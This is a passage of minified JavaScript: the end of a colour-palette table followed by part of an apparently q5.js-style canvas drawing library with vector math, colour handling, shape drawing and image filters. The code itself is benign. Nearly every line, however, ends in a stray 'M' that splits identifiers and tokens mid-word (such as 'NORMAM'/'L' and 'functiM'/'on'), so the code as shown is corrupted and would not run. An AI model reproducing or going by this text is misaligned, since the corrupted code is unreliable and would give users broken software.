1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
